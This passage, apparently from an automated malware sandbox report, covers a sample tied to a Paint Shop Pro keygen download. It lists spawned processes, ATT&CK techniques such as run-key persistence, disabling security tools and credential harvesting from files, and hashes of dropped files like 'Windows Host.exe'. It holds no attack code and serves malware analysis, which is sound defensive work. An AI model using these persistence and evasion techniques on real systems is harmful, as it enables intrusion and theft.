                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                            • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                            PID:4752
                                                                                                                                                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                            C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                            • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                            PID:6304
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                            • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                            PID:6420
                                                                                                                                                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                            C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                            • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                            PID:6500
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                              PID:6656
                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                              • Drops file in Windows directory
                                                                                                                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                              PID:6452
                                                                                                                                                                                                                                                                            • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                              C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                              • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                              PID:6684
                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                              PID:7060
                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                                                                                                                              PID:6300
                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                                                                                                                              PID:5800
                                                                                                                                                                                                                                                                            • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                              c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                PID:7160
                                                                                                                                                                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                  PID:7028
                                                                                                                                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                    PID:5944
                                                                                                                                                                                                                                                                                  • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                    c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                      PID:5564
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\B8EA.exe
                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\B8EA.exe
                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                        PID:4220
                                                                                                                                                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                        • Modifies registry class
                                                                                                                                                                                                                                                                                        PID:7832
                                                                                                                                                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                        • Modifies registry class
                                                                                                                                                                                                                                                                                        PID:8856
                                                                                                                                                                                                                                                                                        • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                          C:\Windows\system32\WerFault.exe -u -p 8856 -s 1504
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                          PID:4420
                                                                                                                                                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                        • Modifies registry class
                                                                                                                                                                                                                                                                                        PID:2412
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                          PID:8848
                                                                                                                                                                                                                                                                                        • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                          c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                            PID:876

                                                                                                                                                                                                                                                                                          Network

                                                                                                                                                                                                                                                                                          MITRE ATT&CK Matrix ATT&CK v6

                                                                                                                                                                                                                                                                                          Persistence

                                                                                                                                                                                                                                                                                          Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                                                                          T1060

                                                                                                                                                                                                                                                                                          BITS Jobs

                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                          T1197

                                                                                                                                                                                                                                                                                          Defense Evasion

                                                                                                                                                                                                                                                                                          Disabling Security Tools

                                                                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                                                                          T1089

                                                                                                                                                                                                                                                                                          Modify Registry

                                                                                                                                                                                                                                                                                          7
                                                                                                                                                                                                                                                                                          T1112

                                                                                                                                                                                                                                                                                          Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                          T1497

                                                                                                                                                                                                                                                                                          BITS Jobs

                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                          T1197

                                                                                                                                                                                                                                                                                          Install Root Certificate

                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                          T1130

                                                                                                                                                                                                                                                                                          Credential Access

                                                                                                                                                                                                                                                                                          Credentials in Files

                                                                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                                                                          T1081

                                                                                                                                                                                                                                                                                          Discovery

                                                                                                                                                                                                                                                                                          Software Discovery

                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                          T1518

                                                                                                                                                                                                                                                                                          Query Registry

                                                                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                                                                          T1012

                                                                                                                                                                                                                                                                                          Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                          T1497

                                                                                                                                                                                                                                                                                          System Information Discovery

                                                                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                                                                          T1082

                                                                                                                                                                                                                                                                                          Security Software Discovery

                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                          T1063

                                                                                                                                                                                                                                                                                          Peripheral Device Discovery

                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                          T1120

                                                                                                                                                                                                                                                                                          Remote System Discovery

                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                          T1018

                                                                                                                                                                                                                                                                                          Collection

                                                                                                                                                                                                                                                                                          Data from Local System

                                                                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                                                                          T1005

                                                                                                                                                                                                                                                                                          Command and Control

                                                                                                                                                                                                                                                                                          Web Service

                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                          T1102

                                                                                                                                                                                                                                                                                          Replay Monitor

                                                                                                                                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                                                                                                                                          Downloads

                                                                                                                                                                                                                                                                                          • C:\Program Files\install.dat
                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                            edbac186a7d99439b0fd256981ce0dea

                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                            a003789cae2afb1513d1ce4512f565a7dbd8bc6c

                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                            889e2ef459d4176dcd0b8c2f4829020be21d8768ed218dd45705448cb7e4cd1f

                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                            96f6b08a3515bc6e559ca3afc0230b240109d273dc40006665a27eb87aa3a361fa385fc7cd7819068e25fbae5aa65c52243c0fd12719af21019c993e36033789

                                                                                                                                                                                                                                                                                          • C:\Program Files\install.dll
                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                            6132ece3ad24c852716b213e377270bf

                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                            4ee1a91cc6929577b2f4f387801c7724996cf281

                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                            46c5d5665429da531509a645d2563b21647db6e0f7c6b81eb9c0b44283518053

                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                            185d4c544202fb7aa8a0004e137ecb1c750f19768b384dc30dfd6f95023c4aec1bfdc7f14920547c3b0e1da6812e5be15e41d2cf884f10ed5c114c31557bfdd2

                                                                                                                                                                                                                                                                                          • C:\ProgramData\502070.exe
                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                            4998037aee575b2a8a074ff6aa19d409

                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                            72f1c36ad3e2e155de3c27c97e09706b8df349b0

                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                            11606221134be1b8f1fbcf2cef8197b3bbc7c2c54df790c47b923a801e1a4204

                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                            4abfa30039634225f150c7c3d9f8d319630ee6d34728bdbfefc82b8afed2daebf8c32b068ef66c88c0b13812192cba901cfebeb51220e7f1d1bd68d8ce0f2d74

                                                                                                                                                                                                                                                                                          • C:\ProgramData\502070.exe
                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                            4998037aee575b2a8a074ff6aa19d409

                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                            72f1c36ad3e2e155de3c27c97e09706b8df349b0

                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                            11606221134be1b8f1fbcf2cef8197b3bbc7c2c54df790c47b923a801e1a4204

                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                            4abfa30039634225f150c7c3d9f8d319630ee6d34728bdbfefc82b8afed2daebf8c32b068ef66c88c0b13812192cba901cfebeb51220e7f1d1bd68d8ce0f2d74

                                                                                                                                                                                                                                                                                          • C:\ProgramData\628186.exe
                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                            afb7dc87e6208b5747af8e7ab95f28bf

                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                            af2e35b042efcc0c47d31e1747baca34e24a68c1

                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                            a58c95de92eefb42ccff366ae9381c638d425673bd2860256b8263ef7a5609f1

                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                            8448cbcdcc35ee0676a709e01ab0f87c6e11a1718b767f7f220ed559c0f30867b7cb8f82a9d0c3b3279cf00c35619189edac265e724d83811f49e2bea7daa1d0

                                                                                                                                                                                                                                                                                          • C:\ProgramData\628186.exe
                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                            afb7dc87e6208b5747af8e7ab95f28bf

                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                            af2e35b042efcc0c47d31e1747baca34e24a68c1

                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                            a58c95de92eefb42ccff366ae9381c638d425673bd2860256b8263ef7a5609f1

                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                            8448cbcdcc35ee0676a709e01ab0f87c6e11a1718b767f7f220ed559c0f30867b7cb8f82a9d0c3b3279cf00c35619189edac265e724d83811f49e2bea7daa1d0

                                                                                                                                                                                                                                                                                          • C:\ProgramData\Windows Host\Windows Host.exe
                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                            afb7dc87e6208b5747af8e7ab95f28bf

                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                            af2e35b042efcc0c47d31e1747baca34e24a68c1

                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                            a58c95de92eefb42ccff366ae9381c638d425673bd2860256b8263ef7a5609f1

                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                            8448cbcdcc35ee0676a709e01ab0f87c6e11a1718b767f7f220ed559c0f30867b7cb8f82a9d0c3b3279cf00c35619189edac265e724d83811f49e2bea7daa1d0

                                                                                                                                                                                                                                                                                          • C:\ProgramData\Windows Host\Windows Host.exe
                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                            afb7dc87e6208b5747af8e7ab95f28bf

                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                            af2e35b042efcc0c47d31e1747baca34e24a68c1

                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                            a58c95de92eefb42ccff366ae9381c638d425673bd2860256b8263ef7a5609f1

                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                            8448cbcdcc35ee0676a709e01ab0f87c6e11a1718b767f7f220ed559c0f30867b7cb8f82a9d0c3b3279cf00c35619189edac265e724d83811f49e2bea7daa1d0

                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D
                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                            98f9a13eb402b7a39eedfebdc951e213

                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                            c65a61d7c55038d48f413e58b6b85cc8162edd59

                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                            75b455f421658306fdf3bcde66c6ecf154e1f41c7a06289887cd2466458c618f

                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                            32c68becf14f9ace6e519c5806ed042eef7ab40ca05ef8e30c909b8c159b7dde52e5a7b8aeeaf4d8ab7d1ea7b9830082395f0f0e040161141b50e9ef022e9bc8

                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\59D1C89B35882FB67B19C498B4BDBDE0
                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                            359a3053ebaa3277e74fa45628c28b92

                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                            bca936455e3af697bbd07aff52b25290f98e540a

                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                            293854bd9a9a4154c3bc0da24c5837963dff9d9aa4345c3684dae5a75dbcaf27

                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                            6433995c82249e7a63d64d243388a056c0c9529ab5fc4d77b5e0d97b0354838843b83eee6e53bc0509c15b8e1697260e164a5d653bc036544380cdf6acf7411b

                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\5EE9003E3DC4134E8CF26DC55FD926FA
                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                            5f91d422ac92483bc0b31d73d32dcb89

                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                            94baa88a879f99fa0f1d18f6f1c6a7ced510299f

                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                            3a42ccee987bc2ecd4a3778219087e19fce7a2083ea1f0ba5a829e98c3ef6dd7

                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                            8e95cf4852491e0862c2e7c5e6aa05aa33b6296d3b7745b2578fd1e69919b427ab4a2878ff4d64d4ab6536229003b815996dbfb1a9814ae474f7eea62a2836d9

                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\644B8874112055B5E195ECB0E8F243A4
                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                            d1b1f562e42dd37c408c0a3c7ccfe189

                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                            c01e61a5c5f44fb038228b7e542f6a8d7c8c283d

                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                            7f468f04fe5a1b0616685f157a4285090b6ed3858d4cd9efe915aaeed83c158e

                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                            404d279fabd4886008e47e9138f799cf398f0aa4c8556192d6e45dbcde99eac2cd65c47b9e0b88bd6d3a6529818f6048a23a197a913fb917b19dffbbd5d75850

                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                            b8c8b0ee955b46a4df1dd71c75753947

                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                            0e023de5f301a023eb9b130dc8c0ee6812b1b77f

                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                            05e68df5ac57af6fef221d1431996178da03315ea5c9fe26d9fc624aa8078ebf

                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                            f844fa669fbf9417cb8c5689957e2981fe40f94e800159656211b170f595aadf563446e6fb0b37ff7d788bde28233591d8d837d16f0e3c80459c4223112c6720

                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E
                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                            5091df4629d666cb788293bb180c6003

                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                            990cb70cab02a76e93ece605f8eb5bd2c170f331

                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                            ad2b2f96275b0349ce622ed6ea9910dad3e408a92f9dd2fc32cf8db4c78dab05

                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                            c8c14ce12a26f44c77beff84c2ae425b45502c4d7da338bf1a9a717d9ccf02b100238b2720bee2f8a73044b80afe837adc2b7bbb2ea436981f7e2f30cdc010a2

                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D
                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                            dbe145354433d70a7728318c0c8978be

                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                            10b96f9f7aacada4a205548b2ee21e69a2deb154

                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                            0d778e96dddb621de7631e710014c892f7cd72e2ee3e5d928630137c94d959c7

                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                            ed0d43e99be5da618c18581d2a4fb0c7bc7eec0b83efe663066898664f2e10fcff7df40cc8c4195af2911ef37cbbf5cee39c5d763a739903cb451038bdec8bf2

                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\59D1C89B35882FB67B19C498B4BDBDE0
                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                            42dea0bbf4785d6b0b90cb6c80d33a5f

                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                            85f29f81aff3f039e33e7828f8418581120b6fab

                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                            69a5cad5a95e8fd3348b163bc84b2b7cb718ffbe68bd553bb20d11f3756c8283

                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                            b51964d414719735ca1af4f683748a77ccf64a38ffdc0db14e60fa4aa2f2e742e9ad1e0d94b3e89bfaa68dbc2c95041cf2f66a3325fe5b7f90fbb475de5fce80

                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5EE9003E3DC4134E8CF26DC55FD926FA
                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                            e6c8a076c519efc516cba4b9b50cabe5

                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                            3181b53156c806804e0078dbe07b10f4392a9556

                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                            dacfe3484f2a9e2317183a1e2de206cd735f2897c0eb88f67ef946590e79c74e

                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                            f6c4f0437c626d89ceb8ad8458dcebe278f7a8b0593d0d0b807abba31a9f97aa33c989a60b6b409171f2823e187a3debc63d39bb337a11b6cce7423d8e4cfb16

                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\644B8874112055B5E195ECB0E8F243A4
                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                            db22ba9af69294e20acf525e02ae6328

                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                            a1326cbb383aa8f09f1fe7dea7292adf0416abfc

                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                            52cac11336a7f727e39e13fe69628fce28f26602dbc5f88aa6b880b95a4b478b

                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                            e16c7067421de0dcb0860696e5aef60275976db33c8d8bb6bcc4f7600aa52c88e937f4d852847565b62a8954dd3d4fa9a2566ea831cc423d0db68e2a6a84cf1a

                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                            91a87e254472c128f2c9a479c107c1e1

                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                            85b9d348f23e8ec1b08405fc33b30fa661b21da6

                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                            4f95ed0e76f41c840bc1eda260b329acd7d0c790e96e26a31a19cb8319b358bb

                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                            963af4f0190704decc90347eafdf6b418893413daee7850a4b43baface9b05361c4c5b8533ae480fa0876366362e9924998b630e92800091e5f148e79196a106

                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E
                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                            9fdf5216c9b1a1b6901577c6ba5dc039

                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                            3909e3cc0c4c9a16b5af05e8573b30c03024fc48

                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                            9ffe69fc8ef0841d34760276dac0f964511e2e1bb8d8179647bf71b52d6e83f8

                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                            d3c874b88e5140580e240841af437e64b1554b1027f4a8fae92eeea573b2533a78fdf72352226af2b8aa46c2917d7726be5b6e09c4062fb5911f4c1ae7edde90

                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\ZIIA2USJ\Jasc_Paint_Shop_Pro_9_0_serial_key_gen_by_TSRh.zip.18kr7ef.partial
                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                            b962befb3dddb8559f7eeda9857c211d

                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                            df0f56c57dfcb9efb07ee44ab7029ebe0b022ca6

                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                            b6bae59eff4c278a412f54dc306deace2f4a14de7be37eb2795dd96de37e1207

                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                            9a9a820c02daeacc2447d77738d7a2835053b145cf386499115a1bed480a7416b2619f19a3f55d66f2ef2e400a10c9e0ed22757d17dc86409d01273ff06c905e

                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\HBTDSW2B.cookie
                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                            914c365cc4f064ec631501d9c93df205

                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                            24f0f76d89492f98936512819ba28ce08eb34247

                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                            9f51b90f9568fd455c978c633be60e27f0d96ff73fe5cc80e9e4b569c7a2913d

                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                            e7297e0dcff1ea3f933b14b2155a1757cddc4537280e43748c665bc0805e40cb474cde4e048d7f84f38d18b551a6c8e55e6db66e54132f3cd7766a49055204aa

                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\JMV7TRTN.cookie
                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                            563463a367562dedec64cb37d6edaf85

                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                            1ba652f85a7688de9e128fe738b54324f41d16f5

                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                            888423c54a51fc530e5e97ad5f0a9b31891eadfbe698976d319ec59c7f4cab7b

                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                            704c6bb9734b4b582820c18414e967acfde234265cc4f212c0f5426613fe5ffb1a7ee03408859482badf604e413d8372a7467a3c43616de7c3c5dd1190b2bc11

                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\RECNWP2V.cookie
